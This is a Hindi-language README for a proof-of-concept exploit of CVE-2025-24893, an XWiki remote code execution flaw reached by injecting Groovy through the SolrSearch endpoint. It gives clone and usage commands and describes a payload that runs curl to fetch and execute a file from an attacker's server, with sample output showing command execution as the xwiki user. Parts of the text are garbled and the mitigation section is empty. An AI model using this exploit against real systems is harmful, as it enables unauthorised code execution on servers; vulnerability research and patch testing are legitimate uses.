
CVE-2025-24893 के लिए PoC
इस रिपॉजिटरी में XWiki रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) एक्सप्लॉइट शामिल है, जिसे CVE-2025-24893 के रूप में पहचाना गया है। यह भेद्यता एक हमलावर को SolrSearch एंडपॉइंट पर एक क्राफ्टेड अनुरोध का लाभ उठाकर लक्ष्य XWiki इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देती है। यह स्क्रिप्ट HTTP और HTTPS दोनों लक्ष्यों का समर्थन करती है।
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ इस कोड का अनधिकृत उपयोग अवैध और अनैतिक है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
यह भेद्यता SolrSearch एंडपॉइंट में उपयोगकर्ता इनपुट के अनुचित हैंडलिंग के कारण उत्पन्न होती है, जो एक क्राफ्टेड पेलोड के माध्यम से Groovy कोड के इंजेक्शन की अनुमति देती है। यह PoC दर्शाता है कि कैसे एक हमलावर लक्ष्य सर्वर पर मनमाने कमांड निष्पादित करने के लिए इसका शोषण कर सकता है।
requests, , , , argparseurllib.parserehtmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
स्क्रिप्ट लक्ष्य XWiki इंस्टेंस को एक क्राफ्टेड HTTP/HTTPS अनुरोध भेजती है, जिसमें एक Groovy पेलोड इंजेक्ट किया जाता है जो हमलावर-नियंत्रित सर्वर से एक फ़ाइल लाने और चलाने के लिए curl कमांड निष्पादित करता है।
निम्नलिखित कमांड के साथ स्क्रिप्ट चलाएं:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: लक्ष्य XWiki इंस्टेंस का आधार URL (जैसे, http://target या https://target)।--server: हमलावर के सर्वर का IP या होस्टनाम, यदि आवश्यक हो तो पोर्ट सहित (जैसे, 192.168.1.100:8080). HTTP और HTTPS दोनों का समर्थन करता है।--file: हमलावर के सर्वर पर निष्पादित किए जाने वाले कोड वाली फ़ाइल का नाम (जैसे, exploit.sh)।--no-verify: HTTPS लक्ष्यों के लिए SSL सत्यापन अक्षम करने का वैकल्पिक फ्लैग (सावधानी से उपयोग करें, केवल परीक्षण के लिए)।python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
SSL सत्यापन को बायपास करने के लिए (उदाहरण के लिए, स्व-हस्ताक्षरित प्रमाणपत्रों के लिए):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
यह करेगा:
curl कमांड निष्पादित करने के लिए Groovy स्क्रिप्ट का उपयोग करता है।http(s)://192.168.1.100:8080) से निर्दिष्ट फ़ाइल (exploit.sh) लाएगा।स्क्रिप्ट लक्ष्य से प्रतिक्रिया निकालती है, HTML टैग (जैसे, <br/>, <del>) हटाती है, और पठनीयता के लिए HTML एंटिटी को सादे पाठ में परिवर्तित करती है। साफ़ किया गया आउटपुट कंसोल पर मुद्रित होता है।
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
इस भेद्यता से बचाव के लिए:
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।